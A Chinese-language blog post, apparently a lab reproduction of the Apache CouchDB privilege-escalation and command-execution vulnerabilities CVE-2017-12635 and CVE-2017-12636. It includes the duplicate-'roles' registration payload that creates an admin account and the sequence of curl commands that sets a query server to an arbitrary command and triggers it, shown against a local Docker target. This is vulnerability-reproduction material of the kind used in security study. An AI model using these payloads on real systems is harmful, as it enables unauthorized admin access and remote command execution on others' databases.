1. 程式人生 > 其它 >Apache CouchDB命令執行漏洞復現

Apache CouchDB命令執行漏洞復現

連鎖反應

0x00 漏洞概述

編號為CVE-2017-12636

Apache CouchDB是一款開源資料庫,專注於易用性和成為“完全擁抱Web的資料庫”。它使用JSON作為儲存格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL型別資料庫。CouchDB預設會在5984埠開放RESTful的API介面,用於資料庫管理。

由於CouchDB自身設計原因,管理員身份可以通過HTTP(S)方式配置資料庫。在某些配置中,可以設定可執行檔案的路徑,在資料庫執行範圍內執行。

影響版本:Apache CouchDB < 1.7.0以及 < 2.1.1

0x01 配置

CouchDB有一個query_servers

配置項,在官方文件有:

CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.

所謂外部查詢伺服器(external query server)就是個程序,與CouchDB通過標準I/O互動JSON資料。由此使用者是可以手動指定程式作為這個“程序”的。

在配置檔案local.ini中可以配置query_server,其格式為:

[query_servers]
LANGUAGE = PATH ARGS

而預設情況下,會配置好兩個query_server

[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js

這種配置似乎過於開放了。如果可以更改這裡的配置,就可以利用資料庫執行命令了。

再看官方文件:

The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance.

CouchDB提供了API用以從外部修改自身配置,並把修改結果儲存到配置檔案中。

0x02 部署

使用兩臺虛擬機器。靶機為:192.168.0.108,攻擊機為:192.168.0.104。

靶機部署映象:

docker pull xavierholt/cve-2017-12636
docker run -d -p 5984:5984 xavierholt/cve-2017-12636

靶機訪問/_utils/路徑,可以看到目前是Everyone is admin的狀態,點選Fix this配置一個管理員(隨便寫,因為提權用不上)。

0x03 利用流程

訪問靶機

可以看到預設歡迎的JSON資訊,以及伺服器主機資訊。

訪問/_utils/路徑,當想要檢視_users時發現被拒絕:

當前至多隻能註冊一個普通使用者,無法獲得管理員許可權。

垂直許可權繞過

該漏洞需要依靠當初同時爆出的CVE-2017-12635提升許可權。CVE-2017-12635垂直許可權繞過漏洞來源於Erlang和JavaScript對於JSON的重複鍵解析存在差異性,下面是二者的儲存形式:

  • Erlang:

    jiffy:decode('{"a":"1", "a":"2"}').
    
    {[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}
    
  • JavaScript:

    JSON.parse('{"a":"1", "a": "2"}');
    
    { a: '2' }
    

對於給定鍵,Erlang解析器會儲存兩個值,而JavaScript只會儲存一個值。

構造Payload(用於註冊):

{
"type": "user",
"name": "vuluser1",
"roles": ["_admin"],
"roles":[],
"password": "vulnerable"
}

那麼系統的安全檢測部分(JavaScript編寫)會取到第二個roles鍵,故判定為無害的註冊請求,放行。當這份JSON到達系統實現身份驗證和授權的部分(Erlang編寫),由於解析元件jiffy的函式實現問題,getter函式會僅取第一個roles鍵,於是完成建立了一個管理員許可權的使用者。

BurpSuite抓一下注冊的包,注意PUT路徑中的使用者名稱、_id鍵:

返回狀態碼201,建立成功!

此時使用賬戶vuluser1:vulnerable訪問/_utils/裡的_user就不會被拒絕了。

1.6.0系列

上面使用的映象版本就是1.6.0。下面用curl完成命令注入(BurpSuite也可)。

請求新增一個名為cmdquery_server,其值為"id >/tmp/success"(就是實際需要執行的命令):

└─$ curl -X PUT 'http://vuluser1:[email protected]:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
""

請求新增一個名為vultest的Database,以便在裡面執行查詢:

└─$ curl -X PUT 'http://vuluser1:[email protected]:5984/vultest'
{"ok":true}

請求新增一個名為vul的Document,以便在裡面執行查詢:

└─$ curl -X PUT 'http://vuluser1:[email protected]:5984/vultest/vul' -d '{"_id": "770895a97726d5ca6d70a22173005c7b"}'
{"ok":true,"id":"vul","rev":"1-967a00dff5e02add41819138abb3284d"}                       

在這個Database裡進行查詢,language設為了cmd,於是會使用新新增的名為cmdquery_server進行查詢,最後觸發命令執行:

└─$ curl -X POST 'http://vuluser1:[email protected]:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
{"error":"EXIT","reason":"{{badmatch,{error,{bad_return_value,{os_process_error,{exit_status,0}}}}},\n [{couch_query_servers,new_process,3,\n                       [{file,\"couch_query_servers.erl\"},{line,477}]},\n  {couch_query_servers,lang_proc,3,\n                       [{file,\"couch_query_servers.erl\"},{line,462}]},\n  {couch_query_servers,handle_call,3,\n                       [{file,\"couch_query_servers.erl\"},{line,334}]},\n  {gen_server,try_handle_call,4,[{file,\"gen_server.erl\"},{line,629}]},\n  {gen_server,handle_msg,5,[{file,\"gen_server.erl\"},{line,661}]},\n  {proc_lib,init_p_do_apply,3,[{file,\"proc_lib.erl\"},{line,240}]}]}"}

看到返回錯誤資訊,但是沒關係,報錯來源於執行命令之後的流程。

用靶機Docker的CLI看一下檔案:

寫入成功!

2.1.0系列

CouchDB 2.x版本引入叢集概念,所以修改配置的API路徑需要增加node名稱。

獲取node名稱:

curl http://vuluser1:[email protected]:5984/_membership

新增query_server(增加了node路徑,如這裡使用node為nonode@nohost):

curl -X PUT http://vuluser1:[email protected]:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/CVE-2017-12636_is_success"'

之後建立Database和Document和1.6.0系列中相同。

由於CouchDB 2.x版本刪除了_temp_view,需要新建一個_view

0x04 EXP

推薦烏雲的EXP:vulhub/exp.py at master · vulhub/vulhub (github.com)